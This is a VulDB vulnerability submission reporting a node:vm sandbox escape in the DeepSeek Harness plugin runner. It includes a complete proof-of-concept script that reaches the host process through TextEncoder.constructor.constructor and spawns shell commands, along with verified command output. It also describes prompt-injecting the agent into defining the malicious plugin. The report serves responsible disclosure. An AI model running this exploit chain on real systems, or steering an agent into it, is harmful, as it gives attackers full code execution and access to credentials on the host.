提出 #1012736: DeepSeek deepseek-harness(@deepseek-ai/dsh,DeepSeek Harness) 0.2.0-rc.2 Remote Code Execution情報

タイトルDeepSeek deepseek-harness(@deepseek-ai/dsh,DeepSeek Harness) 0.2.0-rc.2 Remote Code Execution
説明Node.js vm sandbox escape leading to arbitrary code execution in DeepSeek Harness dynamic plugin system (packages/extensions/cordis-host-runner/src/sandbox.ts). The dynamic plugin runner executes model/user-written plugin code inside a node:vm sandbox. The sandbox context is populated with the HOST-realm constructors TextEncoder and TextDecoder (sandbox.ts:111-112), and createContext is called without codeGeneration restrictions. This is a classic node:vm escape route: code inside the sandbox can reach the host Function constructor via TextEncoder.constructor.constructor, then execute 'return this.process'() to obtain the host Node.js process object, giving full arbitrary code execution (read credentials, run commands via process.binding('spawn_sync') or child_process). The author's own comment at sandbox.ts:6-7 states "is not containment: host-realm helper functions remain an escape route". Impact: any code executed in the plugin sandbox (e.g. via prompt injection or a malicious plugin package) escapes to full host-process code execution. Verified in the 0.2.0-rc.2 source tree and against the deployed build; the same TextEncoder/TextDecoder injection is present from 0.1.0-rc.5 onward. No sandbox fix exists; TextEncoder/TextDecoder are still injected into the vm context in the latest release. Attack precondition: the cordis_define/cordis_run tools are opt-in (not exposed in any default agent preset), and a host-only plugin (clientCode undefined) activates without approval. Reaching the sandbox requires a session that opted into the cordis preset plus prompt-injection of the agent to define a malicious hostCode — reflected in the CVSS AC:H/UI:R. The escape itself is verified end-to-end; the induction step is probabilistic. Trigger (end-to-end verified on the 0.2.0-rc.2 deployed build, self-contained): instantiate the real DynamicCordisRunnerService, define a malicious host-only plugin, and run it — driving startHost -> createSandbox -> evaluateHostCode. The malicious hostCode performs the TextEncoder escape and spawns id to a file; the file on the host is the RCE proof. // Paths reflect a global npm install; adjust if DSH is installed elsewhere. import { Context } from "/usr/local/lib/node_modules/@deepseek-ai/dsh/node_modules/@deepseek-ai/cordis/lib/index.js"; import { DynamicCordisRunnerService } from "/usr/local/lib/node_modules/@deepseek-ai/dsh/node_modules/@deepseek-ai/dsh-cordis-host-runner/lib/index.js"; const ctx = new Context(); ctx.provide("tools", { register() {}, schemas() { return []; } }, true); // satisfies static inject=["tools"] const runner = new DynamicCordisRunnerService(ctx, { vmTimeoutMs: 5000, clientInspectTimeoutMs: 10000 }); const agent = { id: "sess-full-1", ctx: ctx }; // agent.id must equal define's sessionId const hostCode = [ "const p = TextEncoder.constructor.constructor(\"return this.process\")();", "const b = p.binding(\"spawn_sync\");", "b.spawn({ file: \"/usr/bin/sh\", args: [\"sh\", \"-c\", \"id > /tmp/dsh-fullchain-0002-id.txt\"],", " envPairs: [], stdio: [{type:\"pipe\",readable:true,writable:false},", " {type:\"pipe\",readable:true,writable:true},{type:\"pipe\",readable:true,writable:true}] });", "return function plugin() { return { apply(ctx) { return ctx; }, __meta: { escaped: !!p, pid: p.pid, cwd: p.cwd() } }; }" ].join("\n"); const receipt = runner.define({ name: "escape-prover", plugin: { kind: "new", idPrefix: "esc" }, sessionId: "sess-full-1", code: { host: hostCode } }); await runner.run(agent, receipt.pluginId, receipt.packageId, "run"); // define receipt: {"pluginId":"esc-1","packageId":"pkg-1","hasHostHalf":true,...} // run stack: run -> startFresh -> startHost -> startHostHalf (createSandbox + evaluateHostCode) // executing the malicious hostCode inside the real vm sandbox. run() returns // { ok:false, reason:"host-half-failed" } because the PoC apply() returns a bare ctx, which // cordis rejects as an invalid effect — the escape COMPLETES during evaluateHostCode, before // startHostHalf resolves, so ok:false does not mean the attack failed. Verified RCE output: the hostCode escaped via TextEncoder.constructor.constructor("return this.process")(), obtained the host process, and spawned /usr/bin/id redirecting to /tmp/dsh-fullchain-0002-id.txt. The file was created on the host with: uid=1000(<host-user>) gid=1000(<host-user>) groups=1000(<host-user>),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),111(lpadmin),114(lxd),115(docker) This confirms escape and command execution occur in the actual DSH dynamic-plugin load path (index.ts:907-908 startHost -> createSandbox/evaluateHostCode), not a synthetic re-creation of the sandbox. CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H (Base 8.3; High)
ソース⚠️ https://github.com/deepseek-ai/deepseek-harness
ユーザー
 JerryGW (UID 99144)
送信2026年10月03日 13:10 (23 日 ago)
モデレーション2026年10月26日 09:01 (23 days later)
ステータス承諾済み
VulDBエントリ426331 [DeepSeek Harness 迄 0.1.0-rc.5 sandbox.ts createContext 特権昇格]
ポイント20

Want to stay up to date on a daily basis?

Enable the mail alert feature now!